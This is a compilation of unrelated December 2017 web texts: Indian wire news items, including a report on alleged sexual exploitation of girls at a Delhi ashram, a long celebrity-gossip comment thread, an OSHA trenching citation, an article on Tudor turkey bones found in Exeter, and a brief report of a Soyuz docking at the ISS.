Chandigarh, Dec 19 (PTI) Punjab Chief Minister Amarinder Singh has urged External Affairs Minister Sushma Swaraj to take up with Islamabad the issue of alleged "forced conversion" of Sikhs to Islam in Pakistan.

The chief minister said the external affairs ministers intervention in the matter would help protect the basic rights of the substantial Sikh community settled in Pakistan.

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His concern came amid reports that the Sikh community in Hangu district of Khyber-Pakhtunkhwa province in Pakistan had complained of such "conversions", allegedly by a government official.

The Sikh community, which had been living in the Khyber area for more than a century, was reported to have filed an official complaint to the district deputy commissioner.

"It is the responsibility of the Indian authorities to intervene in the matter and ensure that the said coercion is brought to an end.

"We are duty-bound to protect the identity of Sikhs, wherever they may be living," Amarinder said in an official release here.

Describing the incident as "religious torture", the Punjab chief minister said it was a serious matter, especially since the so-called "forced conversions" were allegedly being spearheaded by a government official.

"Religious freedom is the right of every human being and should be upheld by all countries in the larger interest of humanity," the 75-year-old chief minister added. PTI VSD HMB MIN CK

--- ENDS ---
By P S Gopikrishnan Unnithan, P S Gopikrishnan Unnithan: Prime Minister Narendra Modi visited cyclone Ockhi affected regions of Lakshadweep, Tamil Nadu and Kerala starting Monday evening. In Thiruvananthapuram, dramatic scenes unfolded as prime minister returned after meeting a few fishermen.

Other fishermen families who came for the meeting hoping to share their grievance with PM protested at the venue. Many were seen crying out loud with the photos of their loved ones who went missing after the catastrophic cyclone Ockhi.

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PM Modi who reached Mangalore last evening first went to Kavarati Island in Lakshadweep.

After a brief meeting with few fishermen, Modi chaired a high level meeting with government officials. The officials briefed PM Modi about the extent of the damage in the island.

From Lakshadweep, the Prime Minister went to Thiruvananthapuram. PM was received by Kerala Chief Minister Pinarayi Vijayan, Governor P Sadhasivam and some BJP leaders.

After the reception, PM moved to Kanyakumari in Tamil Nadu along with his team in 3 choppers. After meeting the fishermen in Kanyakumari Modi returned to Thiruvananthapuram by 4.30 in the evening.

In Thiruvananthapuram, prime minister visited the families of cyclone Ockhi affected families from 4 villages.

Since, it was advised unsafe for the prime minister to visit the coastal areas; the meeting was arranged at a community hall in Poonthura.

Selected representatives from other villages were brought to Poonthura to meet PM. Modi who reached the venue at 5 interacted with a few family members.

In his speech, Prime Minister assured all support from the central government.

"We are doing everything we can to find out our missing fishermen. Hopefully we will be able to bring them back by Christmas," said the Prime Minister.

After Modi returned from the venue, a section of the fishermen community protested against the Prime Minister. They alleged that the PM should have found more time to understand our worries and interact with us.

"He just visited a few families at from one side of the crowd and returned. Then what is the point in bringing us here, asked Scarlet, who is still in search of her husband.

Soon after others too joined the protest as the venue witnessed dramatic scenes of fishermen families crying helplessly. Many families were raising photos of their relatives who went missing.

However, neither the state government nor any of the central minister's tried to intervene as all of them returned with Prime Minister.

After the fishermen visit, Modi attended a high level meeting in Thiruvananthapuram in which was joined by Kerala Chief Minister Pinarayi Vijayan and other government officials.

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The state government submitted a memorandum for Rs 7340 Cr central package for Ockhi relief.

--- ENDS ---
Rohini ashram and its branches across India allegedly confine and exploit minor girls. Officials crack down on HC order.

By Sneha Agrawal: Authorities on Tuesday swooped down on an ashram in the city after a group of parents approached the Delhi High Court alleging that a self-styled godman was holding a number of minor girls and women there who were being sexually exploited.

The raid at the Adhyatmik Vishwa Vidyalaya in Rohini spilled into the night with sleuths scouring a maze of rooms in search of victims and evidences.

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Cops detained a guard and a woman while several articles were taken into custody. A room full of medicines and syringes was found.

Sex and particularly sexual abuse is not uncommon among the massive network of self-styled godmen, gurus and preachers of various faiths in India.

In August, a court sent Haryana sect leader Gurmeet Ram Rahim Singh to jail for 20 years for raping two of his female followers.

Since then, sordid details have emerged of how he sexually exploited dozens of girls and women, while acquiring massive amounts of wealth and wielding influence on the masses as well as politicians.

Sources told Mail Today the Rohini ashram run by 75-year-old avowed godman Virendra Dev Dikshit has branches across the country and houses women of all age groups, called gopiyan.

They were all made to dress in pink sarees and white blouses. Delhi Commission for Women chief Swati Maliwal who was part of the raid was allegedly "roughed up" by some of the inmates who also protested against the operation, saying all was well at the ashram.

A former disciple said Dikshit holds a seven-day course for followers in which the inmates are not allowed. Many devotees leave their daughters at the ashram during their vacation for spiritual learning.

The parents of the victims said in those days the girls would be sent off to different locations in the country without their knowledge.

"My daughter was just 14 years old and even wasted her whole academic year," said a retired police official, who had left the girl at the Delhi ashram but she was found in Uttar Pradesh.

Small rooms, several gates, secret chambers and tricky staircases made it difficult for anyone to escape. Neighbours say four to five girls have committed suicide.

The parents said the accused presses his followers to send their minor daughters to his ashram permanently. The parents are made to sign a RS 10 stamp paper, saying they have willingly handed over their daughter to him.

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Dixit allegedly uses this trick to sexually exploit the minors. Sources said when the girls turned 18, he would make them sign a paper that said they were willingly staying with him.

The copy of this paper would be sent to the local police station and the parents. Once parents handed over the girl, they were not allowed to meet her.

The families were allegedly asked to keep sending donations in large amounts to the ashram purportedly for looking after the girl. At times, parents were purportedly also forced to transfer their property to the ashram.

One of the victims from the ashram said she was repeatedly raped by the accused. Dixit was allegedly obsessed with the idea of having 16,000 women with him, which according to some beliefs is the number of wives Lord Krishna had.

The daughters were not allowed to interact with the outside world and this was called "garbh mahal," said sources.

Dixit is said to have scores of followers across country. The victims alleged that girls are sent from one ashram to another so they do not get together and rebel.

The accused, who is yet to be held, was described as 5'4", with a round face, wheatish complexion, clean-shaven and healthy.

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A former follower said Dixit is a drug addict and openly exploits women. Sharing one such experience he said, while travelling by train, the accused asked him to bring a condom.

When questioned, he said some girls were carriers of diseases and, being a god, he wanted to stay pure.

He said Dixit was fond of getting oil massages from the girls who were naked. He allegedly raped close to 10 girls a day, supposedly high on opium.

He also kept track of which girl had got her first periods and then would have her fly to the ashram the same day to have sex.

Families said the female inmates are so deeply influenced by Dixit that they refuse to meet them.

The man has been running the ashram since 1970. The HC was approached by parents through the NGO Foundation for Social Empowerment run by Seema Sharma.

Their counsel, Shalabh Gupta, told the court how some parents were struggling to meet their daughters. The HC formed an inspection committee to raid the campus.

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"The matters complained of in the writ petition are of an extremely urgent nature and suggest danger to the lives and limbs of several girls stated to be illegally confined in the premises," the court order said.

--- ENDS ---
The Pope had invited a group of children for feasting on a 13-ft-long pizza, on his 81st birthday.

By India Today Web Desk: Birthdays are all about indulgence and carefree celebration. And if you are inviting a group of children to your birthday party, it would definitely mean a lot more of fun and enthusiasm.

That's exactly how Pope Francis celebrated his 81st birthday on December 17 this year.

For his birthday, the Pope invited children, who attend a Vatican pediatric clinic, and feasted on a 13-ft-long pizza instead of a cake, reported Time.

Picture courtesy: Twitter/barstoolsports

advertisement

Earlier in 2015, the Pope had revealed his love for pizza during an interview with Time, saying that the only drawback of being the leader of the Catholic Church was not being able to slip out to a pizzeria for a slice.

Also Read:How to make pizza in space, without gravity, of course

This time, the Pope blew the candle on the pizza and told the children that it was his birthday wish to watch them dive and eat all four metres of the same as that would make them grow.

Later, he made his weekly appearance in front of the crowd at St Peter's Square, where people shouted birthday wishes to him.

--- ENDS ---
By PTI: New Delhi, Dec 19 (PTI) Union minister Giriraj Singh today took a dig at Rahul Gandhi, saying that he was forced to visit temples to win votes in Gujarat as the Congress could no longer ignore sentiments of the majority community.

"Earlier secularism was about appeasement of minorities but for the first time it meant that the majority community could no longer be ignored," he said outside Parliament.

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Targeting the Congress president, the Hindutva leader said Gandhis party workers slaughtered a calf in Kerala to win votes but now he had to visit temples.

Gandhi was like a man who kept jumping from one God to another but none came to his rescue, he said.

Singh also attacked National Conference leader Farooq Abdullah after the latter targeted Prime Minister Narendra Modi on his charges against his predecessor Manmohan Singh.

The Union minister alleged that Abdullah had become a voice of Pakistan in Indias Parliament.

Sometimes he says Pak-occupied Kashmir should be given to Pakistan and sometime he supports separatists, Singh said. PTI KR ASK ASK

--- ENDS ---
i feel like i blinked and her kids were suddenly grown

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Mte Maddox has facial hair now

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ikr what the hell



feel like im gonna look in the mirror and see old rose from titanic looking back

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it's been 84 years...

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this. i was like, they're all nearly grown! time flies.

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is shiloh going by john still? she looks like a baby brad

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shiloh has brad's eyes

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Shiloh only wanted to be called John when she was like 3.

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that was mentioned once, when Shiloh was like 3. There is no other evidence that that she does not go by the name Shiloh.

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I feel like this is the JFK Jr.-as-John-John of the new millennium; like one reporter heard that and everyone else is gonna run with it forever.

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She only wanted to be called John and Peter because she was such a big fan of Peter Pan when she was younger, I think she goes by Shiloh now

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hope she finds love in her life <3

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wish she would do some more acting

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Pax and Z are so big now.

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Aw she looks gorgeous and the kids so happy!



Thanks OP! I've wanted to make a roundup post since forever but I can't seem to find the time. There's been too many news for me to keep up 

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i know you normally do them and i was a little hesitant....and then the brad pitt post went up and i was like well eff it i wanna talk about angie! lmao <3

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aww no, that's perfect! I barely have time to skip through some pages anyway and whenever I discover something news-worthy I'm always super late lol. I didn't even see the BP post tbh, Angie on the first page is much better <3



Love your icon btw!

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That's sweet that Maddox stayed home to take care of Vivienne <3

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I finally saw FTKMF and it was not great. I was loling at all the news outlets pretending to be shocked she missed out on making the Oscar shortlist.

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She's not a very good director imo

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I honestly got mad at some of the scenes they had the children actors be in. The main one that sticks out is the little one in the mass grave. Like I don't think that was necessary, we can know what happened without having to see it. There were so many scenes that just felt excessive.

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I adore her but after seeing 3 of her movies, I have to admit that she doesn't have anything new to add as director. I knew the film was not award-worthy, even though the story is heartbreaking and I'm glad she chose to tell it.

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Did I miss the 12 days of ONTD post?

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There isn't one

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Thanks! I thought maybe it got posted before I got up this morning or I was just missing it.

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She has always done right by those kids.

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my queen and her cute family

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omg those kids look exactly like her

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shiloh's look like her

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I used to think Shiloh looked so much like Angie but Knox is her twin omg. Pax is def gonna be the best looking of them.

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she's so beautiful and seems like a genuinely good person and a great mother



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WHY IS IT LATE?! IS IT UP ALREADY?!

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MFTE I HAVE THINGS I NEED TO SAY

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RIGHT! I actually have important stuff to talk about for once.

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fr. it's already 8pm my time. my bed time is drawing near.

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I love when people go on rants about how others should spend their time doing other stuff besides being "haters"....takes just as much time if not longer to rant about being 'blessed not stressed'

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Always from the people who have to announce that they "don't like drama" on their social media profiles.

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never fails to make me lol

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yep lol

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lol yea the lack of self awareness...

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HATERZ MAKE ME FAMOUS

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Or go outside! Sis take your own advice



I know this bully at my old workplace who is still obsessed with me and genuinely I never expected my nobody self would have a hater?? who is older than me! So whenever he leaves comments I just dont respond. I know it hurts him more that way ha



Edited at 2017-12-19 02:20 am (UTC)

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this conduct makes her look straight up insane

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she reminds me of demi lovato lmao



v bratty

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didn't Demi mentor her or something at the X factor? guess she learned a thing or two



Edited at 2017-12-19 06:24 am (UTC)

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SCREAMING @ bralettes and chokers. lmao.

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lmao

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Me too

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Ikr I love it

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I DIED. you know her suitcase is an urban outfitters bargain bin.

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more like boohoo/missguided

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lol team sara

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lol drag ha sara

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LMAO



Get ha Jade!

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yasss @ sara

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iconic

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i need an icon version of this lol

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all that needs to be said lol

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a national treasure

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omg i need to know in what context this is???

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the interviewer was mentioning how johnny depp doesnt remember his lines, he gets fed them through an ear piece

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wait a little more for your bralettes and chokers



nnnnn

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Get some self-awareness, hun.

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Lmao same.

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Lmao ontd loves to do that

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Read us!

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lmao

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Lol I know some of yall rightfully hate Family Guy but this will always be funny to me



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fam guy has been on point too many times

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lmaooooo

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Asking you to be nice to people who work at minimum wage is being a "hater"?

Don't post on social media, then.

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she's telling people to not be stressed while she herself is going on a rant? "....."

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what even lmfao

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lmao she acts like some random internet person

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damn

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Awful

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why does she always take the bait

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ew @ her using that word

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Lol what a nice friend...

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LMAO mte.

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HAHAHAHA

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lmao she's seriously serving joffree star realness

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Unfollow her. Shes my friend but lol let me screenshot this and expose ha!

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.. omfg

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mess

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why is she manic rn, people lose luggage all the time. and yeah it sucks but also could you be THIS angry



am i skimming too hard?? feel like im missing context

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She should chill out bc she's being shit-talked about by her so called followers???

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what the actual fuck lmao

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lmao this is killing me

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dying at these ~mean girl dms...is it even that serious

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lmfaooooo, that girl totally baited her

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I love her so much, give me a Valkyrie movie tbh

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love her, and i need her to have an amazing career.

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Lots of jazz, but no black women.  Mara Get Rid of the Nazis Wilson (@MaraWilson) December 18, 2017





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Well, that's not fair.



I think Tessa and Mara are forgetting about Deconstructing Harry, which featured a complex and well-developed black prostitute named Cookie.





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well obv she was the best one for the job!

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I screamed.

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FUCK

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I missed that post, ontd is turning me into a Saoirse stan tbh

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i love Saoirse too but nothing about that post made her stan-worthy. watch the actual vid and you'll see.

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I did

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No lie, I watched the video was like that's it??

I don't get the Stan hive mood that people place on these women who just sat there, looking blazed or indifferent.



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yeah they did nothing in that video

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Except Kate Winslet, who the hell IS here for Woody Allen?

(I say this and instantly remember everyone who has been already cast in his next project, oh well).

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white male grad students who unironically call themselves "auteurs"



but even THEN

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i miss the days when the hp/wizarding world cast weren't a fucking mess (except oldman of course) lmao i just saw this too: http://www.justjared.com/2017/12/18/kate-winslet-jude-law-have-holiday-reunion-see-pics/ i miss the days when the hp/wizarding world cast weren't a fucking mess (except oldman of course)

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Unfortunately way too many celebrities. Justin Timberlake, Jay Z, Beyonce, Selena Gomez, Miley Cyrus, Timothee Chamalet, Elle Fanning, Suki Waterhouse, Blake Liveley, Kristen Stewart, Jesse Eisenberg, Emma Stone, Scarlett Johansson, Cate Blanchett, Jude Law, Juno Temple, Joaquin Phoenix, Colin Firth, Alec Baldwin, etc. Selena even used to be friends with Ronan Farrow :///.

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Muhaha that the film is getting shut out of all categories Remember when she was gonna be in the Oscar race this year. Ha, that's prob the only reason why she took on that role.Muhaha that the film is getting shut out of all categories #KARMAISAB !TCH

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Diane Keaton. bitch has been ride or die for him for her entire life. she spoke at length in his defense when Dylan Farrow wrote her first piece about being his victim. she's trash.

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Louis CK's cancelled movie was a heartfelt tribute to Woody... so Louis CK

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Fuck Woody Allen and fuck the people who continue to work with him. Child rapist pig.



Ive never given a fuck about this mans 'art' because he doesnt give a fuck about black people and has made it incredibly obvious in his work.

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tea.



that kate winslet post was so embarrassing. it's already been said but i'll say it again, nothing more lame than people making up fake stories based on misleading screencaps. there was no awkwardness in the actual video. the other actresses were just listening to kate, and actually laughing at times. only maybe jessica chastain was bitter but she didn't even say/do anything overt either.

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they looked uncomfortable but not as much as the screencaps implied. what was REALLY awkward was how fucking long Kate Winslet was waxing poetic about the fucking liiiiiiiiiights coming through the window while shooting like anyone gives a rats ass. that woman was just monologuing everyone to DEATH over how wonderful woody allen is and the LIIIIIIIGHTS FROM THE WHEEEEEEEEL or whatever.

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I dont even get what she was trying to say there. Like, cool, the sunlight blinds me every single day around 10:15am as it shines through my window too?

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Lmao that sounds fucking unbearable

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And they didnt even show a close-up of Jessica during Kates word diarrhea. Those screen caps were so misleading, and everyone was projecting way too much onto those women. They literally did nothing but sit there and smile.



Edited at 2017-12-19 05:17 am (UTC)

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People on Social Media are so over the top on this shit, it makes me recoil in disgust.

I guess when white women do it, they are praised to the high heavens, and yet people like Tessa don't get enough traction.

#BULLSHIT I watched the video was like really??People on Social Media are so over the top on this shit, it makes me recoil in disgust.I guess when white women do it, they are praised to the high heavens, and yet people like Tessa don't get enough traction.

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Yeah people were really projecting. I love Saorise too but let's not pretend like any of them were doing anything more than... listening lol. Such wonderful protesting.

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lol mfte

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I love her!! 

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my friend recently started stanning her and putting stuff about her on my twitter tl a lot. she seems awesome.

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love her so much

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Just looking through his IMDB and I don't think I've actually seen anything that he's directed/written.



I did see Antz, which is apparently had a voice in.

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Kate Winslet is cancelled now though right?

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Nah ONTD kept forgetting about that when she talked about her bff Leo in interviews.

I think this time we're done with her.

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everyone here hates her but i don't think the media will catch on and call her out

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Let me preface this by saying I have a tendency to drop friends when they disappoint me, so I'm trying to be more accepting of people's flaws and not-so-judgemental when someone doesn't agree with me.



I have a friend who is a huge Kate Winslet fan. When I told her I can't stand KW anymore, she said something that horrified me that I'm still trying to process. It was along the lines of "Harvey and Woody are different because Woody at least only abuses family members".



The sad part is, I think a lot of people feel that way.



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She's canceled and so are the other people who've worked with Woody and continue to support him, like Timothee Chamalet, Elle Fanning, Kristen Stewart, Jesse Eisenberg, Blake Lively, Suki Waterhouse, Emma Stone, Jude Law, Juno Temple, Joaquin Phoenix, Alec Baldwin, Justin Timberlake, Selena Gomez, Miley Cyrus, etc. They all need to be called out.

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wait I did not know about this!

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I was just about to ask if that was legit, I saw that on my timeline a while ago and was into it, but wasn't sure if it was Twitter doing the most or if it was real.

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yeah i feel like i saw it mentioned weeks ago but you can never tell anymore (i'm remembering that post "is stephanie beatriz dating [whoever that white woman was]!" lol)

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lol for real...like what kind of otp 

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lmaooo I feel like its not true bc Janelle has that one guy (Nate?) that has been around her forever but omg at the possibility of that power couple.

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WHAT. No, this cannot be true; nothing this good and pure could exist in 2017.

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I kept reading comments about Kate Winslet before yours So I thought you were saying that Kate Winslet and Janelle Monae are together

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I was going to postvthe tweets here but i didnt want to make the effort if the mods were going y3o reject it.

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that would make my day, month and year!

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Wow. Listen to your mama Selena.

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LMFAO what the fuck this is more dysfunctional than most of ontd congrats



Also wanna know who snitched on Mandy



Edited at 2017-12-19 04:07 pm (UTC)

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oh my god. literally no one is worth that kinda stress. what the fuck

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Imagine being in your early 20's and you already couples therapy.

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lmfao

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I have friends around the same age as them who are doing it, but they're actually engaged so...

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lol that's what i took away from this. they just started dating again, but they're in couples therapy? sounds like a great idea!

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I think it's more the fact that they are a young couple who just started dating a few months ago. They're not married or have kids or something serious like that. So couple therapy when they just could break up if things are not working seems crazy.

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I actually don't mind seeing young couples in therapy. I think, even if you aren't having problems, everyone should go. Can use it as preventative method, to ensure a happy communicative relationship. These two, seem a bit wacky together, though.

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Probably church couples "therapy".

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I could see it being fine if they have individual issues of their own that they want to work out together in the long run, but if they're having issues as a couple when they just got back together, that's...not good.

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More couples should imo. Especially young couples

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The therapy is probably through that bullshit Hillsong church.

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Jfc @ this plot

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honestly i don't think it's true... how the fuck would they know

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tbh it must be hard as a parent to watch your kid keep going back to the same shitty relationship

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I vaguely follow JB &Sel but Id be down for one if someone wants to. I wasnt on ONTD the last time they dated so I only know a little of their backstory/history

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Oh yeah I bet that church is influencing this... they prob aren't allowed to have sex and maybe that creepy pastor is telling them theyre meant to be together or some shit

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yeah it does kinda seem like they were pushed back together by them - especially with all of those photos of selena reading to kids, doing a hillsong speech etc.

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he looks so ugly here, kill it with fire.

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he looks so ugly here always, kill it with fire.

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why his body so big and head so small

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Hated the bf so much she had a huge meltdown and had to go to the hospital. What in the telenovela realness? Lmao

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Telenovela meets Sophia Petrillo tactics on Golden Girls.

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LMAO

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Needs a dramatic fainting gif

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pretty much lmao

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soraya taught ha

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Selena's family thinks Justin is hugely triggering for her and does not approve of their relationship i see no lies. good on them for actually caring for their daughter.



selena is a mess. now give us Revival 2.0. that album was really good.

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If anything, I'd think that this proves that Selena is as much, if not more, of a mess than everyone thinks behind the scenes rn (if this report is true obvs).



Edited at 2017-12-19 04:14 pm (UTC)

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So we still think she went to rehab for lupus?



I completely understand why her mom lost her shit if Justin is a trigger for her daughter. Especially since she almost died recently and just got a new kidney, you would think the girl would have an epiphany and realize that the toxic relationship isn't worth it.





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No one thinks she went to rehab for lupus

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She went to rehab for drugs and alcohol and dickmosis



She did chemo (or "leukemia," as she calls it) for the lupus



Edited at 2017-12-19 04:18 pm (UTC)

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Wait...



She did chemo for lupus...



And she called it leukemia...???



What????

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i figured she would open up about this eventually.



anyway, i love her and am happy she's free. its a shame she had to leave a job she loved whilst jason just got 'anger management classes' or w/e it was. i can't wait to see what she does with her development deal.

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Has there been any speculation as to the actual reason why she left? I havent kept up with this story.

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Yes, it's supposedly because of her co-star Jason Beghe's behavior on set. He's a rageaholic and known to throw tantrums, sexually harass women and bully people regularly.



Edited at 2017-12-19 09:05 pm (UTC)

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so basically his character. thats why he plays it so well. 

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http://deadline.com/2017/11/jason-beghe-chicago-pd-sophia-bush-sexual-harassment-allegations-nbc-investigation-1202213264/ I don't watch this show either, but quick google would suggest it might have something to do with the star of the show being a gross person.

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Yeah, it's likely because of the guy the other two commenters mentioned. I vaguely remember a little rumor going around where apparently Sophia suggested they change a scene around a little and he got in her face about it, or threw a tantrum over it.

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Not sure if I'm reading too much into it, but the twitter for Chicago PD wrote this about six hours ago...



"Voight can be rough around the edges but he's got your back when you need him.



Edited at 2017-12-19 09:02 pm (UTC) I had no idea about any of this going on, but I don't watch this show.Not sure if I'm reading too much into it, but the twitter for Chicago PD wrote this about six hours ago..."Voight can be rough around the edges but he's got your back when you need him. #ChicagoPD

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Ugh fuck them.

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I also love the way she and her One Tree Hill female co-stars stand up for each other on Twitter when men try to drag them:



Sophia tweeted this when some guy tweeted that Danneel Harris was a slut who just "spread her legs" for a rich guy (her husband, Supernatural's Jensen Ackles) and then leeched off him instead of working, and that people should look to Sophia Bush as a real example of class:

Don't you fucking DARE come for my friend with petty jealousy and tag me in your loathsome judgement. I'm sorry she's too busy with her wonderful, loving husband and her incredible children, being one of the BEST moms I KNOW, to be making content for ungrateful trolls like you.  Sophia Bush (@SophiaBush) November 14, 2017





Hilarie Burton tweeted this when some guy tried to accuse Sophia of not defending her:

Dude. What this sisterhood has survived, you will never know. Don't you dare think @SophiaBush is anything less than a tireless warrior and my fierce protector. We kept quiet to save the jobs of people we loved. Back off.  Hilarie Burton (@HilarieBurton) December 7, 2017









Edited at 2017-12-19 09:04 pm (UTC) I never watched Chicago PD, but I love Sophia Bush's twitter. She is a serious badass and one of the few Hollywood stars who genuinely comes across as intelligent and informed on issues.I also love the way she and herfemale co-stars stand up for each other on Twitter when men try to drag them:Sophia tweeted this when some guy tweeted that Danneel Harris was a slut who just "spread her legs" for a rich guy (her husband,'s Jensen Ackles) and then leeched off him instead of working, and that people should look to Sophia Bush as a real example of class:Hilarie Burton tweeted this when some guy tried to accuse Sophia of not defending her:

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idk what that one jensen stan was thinking, @ing sophia like that...it's so obvious that the OTH girls love & support each other, how did the stan think that would turn out for her lol

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Omg, I love these two women. Sophia Bush is amazing.

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I totally agree that she doesn't 'owe' anyone, especially fans, a full and detailed explanation, but I admit this made me even more curious. What's "everything [they're] aware of"?? Was it the writing? Other people on set (cough, Jason Beghe probably)? I love how she handled this, even just the assertive phrasing of "I sat my bosses down," but I do kinda hope she eventually feels comfortable spilling ALL of the tea, because I am very nosy.



Edited at 2017-12-19 09:04 pm (UTC)

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I think she's an absolute queen.

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she has handled this in the classiest yet most badass way possible. respect.

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god i love her

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The lead of Chicago PD is a dick and always has been. Good for her for getting out and moving onto something better.

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He's a former Scientologist and I'm so curious about how they let him go.

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I mean, the way that show is written--they present every cop as a lying, corrupt piece of shit, and the department as crooked, sexist and racist, but spins it all like the CPD are true heroes fighting the good fight and making the hard choices.

Like there's no way a show written like that is anything but a complete fucking mess BTS. It's zero surprise to me that the showrunners were a complete fucking nightmare to work with and that's why she left.

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its taken a super Blue Lives Matter turn especially..super gross

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i wanted atwater to punch the shit out of ruzek. actually i want ruzek to die, idc. ugly bum ass bitch.

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I was rly taken aback, having watched his character on chicago fire, that they brought him in to star on the cop show like... the character was imo irredeemable after his arc and they give him a show?!

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could a remake of one tree hill survive in this decade?

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She's one of the very few celebrities I stan. She's got an amazing heart and mind imo

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I didn't watch the show but it sounds like the work environment was not good and I'm glad she was able to get out. I think her talent and development deal will have some great ideas.



I love ha on twitter. And on IG she is always posting stories about what's happening each day in politics and who to call, email, etc.

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and she was on-off with her co-star so Im sure that didnt help, good for her for moving on to bigger and better things

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Yeah that couldnt have been easy but they always seemed to be on good terms. Sis has got to stop dating her costars though lol.

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By PTI: New Delhi, Dec 19 (PTI) The Railways Ministry has reduced the size of global tender for rail tracks to 4.87 lakh tonne from 7 lakh tonnes (LT) earlier, an official source said.

State-run Steel Authority of India Ltd (SAIL), which has been the sole supplier of rails to the Railways so far, will supply the remaining quantity.

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The railways ministry had recently floated the global tender to procure 7 lakh tonnes of rails worth Rs 3,500 crore for expediting track renewal.

"The tender has been reduced to 4.87 LT," a railway ministry official told PTI.

SAIL has stepped up its production and increased supplies, the official said.

M C Agrawal, Executive Director, Corporate Affairs Division, SAIL, said, "Our rail mill in Bhilai is producing rail in full swing and we will increase production. Hence, the supply will also improve."

Under an MoU, SAIL is the only steel maker which had been supplying rails to the Railways. It manufactures 260-metre long rails at its Bhilai Steel Plant (BSP) in Chhattisgarh.

With the global tender, the Railways has now invited private players and international companies to supply rail tracks.

Naveen Jindal-led Jindal Steel and Power Ltd (JSPL) is the only domestic private player that has the experience in rail making and it has confirmed its interest in the tender.

"We are fully prepared and well equipped. We can make early deliveries compared to any other player. If we bag the tender today, we can start making deliveries in just three weeks. It would take much longer for a foreign firm to start making deliveries. JSPL has a capacity to supply over 50,000 mt rail per month." Naushad Ansari, CEO Steel Business, JSPL, had said earlier.

JSPL has a plant at Raigarh with a capacity to produce 1 million tonnes of rails. PTI ASG ABI MR

--- ENDS ---
OSHA Cites Florida Company for Trenching Violations

The August 2017 inspections were part of OSHA's National Emphasis Program on Trenching and Excavation. The company faces $148,845 in proposed penalties.

OSHA announced an enforcement action against Tallahassee, Fla.-based R.A.W. Construction LLC for exposing its employees at a Loganville, Ga., site to trench collapse hazards. The company faces proposed penalties of $148,845.

During its investigation of the Loganville work site, OSHA identified two repeat and five serious violations, including failing to provide cave-in protection and safe access and egress to employees installing gas lines at the excavation site, and not setting excavated materials at least 2 feet from the excavation. The August 2017 inspections were part of OSHA's National Emphasis Program on Trenching and Excavation.

"Employees who enter unprotected trenches face the risk of suffering severe or fatal injuries," said OSHA Atlanta-East Area Office Director William Fulcher. "It is vitally important that employers train their employees to recognize and avoid trenching and excavation hazards."
Malene Lauritsen with turkey bones. Credit: University of Exeter

Bones dug up from under an Exeter street may be the remains of the first ever turkey dinner in England, archaeologists believe.

The 16th century bones - two femurs (thigh bones) and an ulna (wing) - have been analysed by University of Exeter archaeologists and identified as among some the first turkeys to be brought to England from the Americas. The bones are on display at the Royal Albert Memorial Museum & Art Gallery (RAMM) where Spanish, German and Italian pottery and glassware from the same site are also displayed. These items could have been on the table when the turkey dinner was served. The first turkeys were introduced to England in 1524 or 1526 by William Strickland, a member of Parliament in the reign of Elizabeth the first, following a voyage to the Americas.

Strickland is recorded to have bought six turkeys from Native American traders, and after he sailed back with them to Bristol, which is 80 miles away from Exeter, sold them for tuppence each.

When turkeys first appeared in England they would have been a rare sight and the first ones are more likely to have been kept as pets for display of wealth rather than served as food.

The bird became very popular after 1550 and already a common sight at Christmas dinners by the 1570s, before Thanksgiving in America was even invented. Popular history even suggests that Henry VIII may have had turkey for Christmas. The bird became so popular that thousands of turkeys were driven in to London like cattle in the 17th century.

The bones were found in 1983 as part of excavations at Paul Street, in central Exeter, before the building of a shopping centre but have never been identified or dated. Archaeologists at the University of Exeter have now examined the bones and judging from pottery lying beside them, they date from the period 1520 to 1550.

Professor Alan Outram, zooarchaeologist and Head of Archaeology at Exeter, said: "As the date of these bones overlaps with the historical evidence of Stickland's introduction of the birds, the remains of this feast may well represent the earliest physical evidence for a turkey dinner in Britain. This is an important discovery and could allow more research to be carried out about early domestic breeds and how the turkey has changed genetically since the 16th century."

Analysis by Malene Lauritsen, a post-graduate researcher in the University of Exeter's archaeology department, has proved from the bones that the turkeys were butchered and were probably eaten as part of a feast by wealthy people. The pottery lying alongside was also of high quality.

Malene Lauritsen and Professor Alan Outram with turkey bones. Credit: University of Exeter

They were found together with the remains of a veal calf, several chickens, at least one goose and a sheep. This selection of food - some of which were very expensive at the time - suggests this was the rubbish created by a feast attended by people of high status.

"What is exciting about these turkey bones found in Exeter is that they date from almost exactly the same time as the first birds came to England. Their age certainly means it is possible that these are the remains of one of the first turkeys to come to England, or a turkey bred from this group," Ms Lauritsen said.

"It is extremely rare to find turkey bones from this period. Remains from the first half of the 16th century have only been found in two other sites in Britain, the oldest from at St Alban's Abbey in Hertfordshire. I have found cut marks on the bones, showing the birds were butchered. We can only guess at who ate them, and for what reason, but turkey would have been very expensive and the same household certainly ate other pricy meat too, so this must have been a special occasion."

Wild turkeys were eaten by native Americans and their feathers were also used for ceremonial purposes, including headdresses and robes.

They were first brought to Britain from America by William Strickland, a Puritan, who traded them with Native Americans. He continued to import them and made so much money, he was able to build a stately home in Yorkshire.

Strickland, who became an MP and was known for his ferocious debating style, adopted the turkey as the symbol on his family crest in 1550. His coat of arms is reported to be the first depiction of the turkey in Britain. The village church where Strickland is buried has images of turkeys depicted in stained-glass windows, a carved lectern and even stone sculptures on the walls. The bones found during excavations at Paul street, in central Exeter, have been stored in boxes in the Royal Albert Memorial Museum's stores, and are on temporary display.

The bones are part of the collections at RAMM, and are on temporary display to celebrate the new discovery about their origins. In February 2020, the bones will be displayed in RAMM's Making History Gallery alongside all the discoveries made from a wider archaeological research project with the University of Exeter called "Exeter: A Place in Time".

RAMM Assistant Curator Tom Cadbury said: "This is a fascinating discovery and really shows what an international place Tudor Exeter was. RAMM already displays some of the Spanish, German and Italian pottery and glassware found on the site, perhaps the turkey dinner was eaten off one of these. RAMM welcomes research on the archaeological finds from Exeter in the museum; evidence such as this helps us uncover stories about the lives of past people in Exeter."

Cllr Rachel Sutton, Lead Councillor for Economy & Culture and Deputy Leader of Exeter City Council said: "Exeter is blessed having a museum and a university that are both world-class. Working together, they are uncovering information about Exeter's past that would have been inconceivable only decades ago. Collaborations such as these are vital to Exeter's success."
ISS. Credit: NASA

A three-man space crew made up of American and Japanese rookie astronauts and an experienced Russian cosmonaut successfully docked at the International Space Station to begin a six-month mission Tuesday.

NASA TV footage showed the Soyuz MS-07 capsule containing Scott Tingle of NASA, Anton Shkaplerov of Roscosmos and Norishige Kanai of the Japan Aerospace Exploration Agency dock at the ISS at 0839 GMT following a two-day flight.

A NASA TV commentator hailed the "textbook arrival" of the trio at the orbital lab positioned more than 250 miles above "the boot of Italy" at the time of contact.

In a statement, Roscosmos also confirmed that the Soyuz MS-07 had "successfully docked" at the ISS.

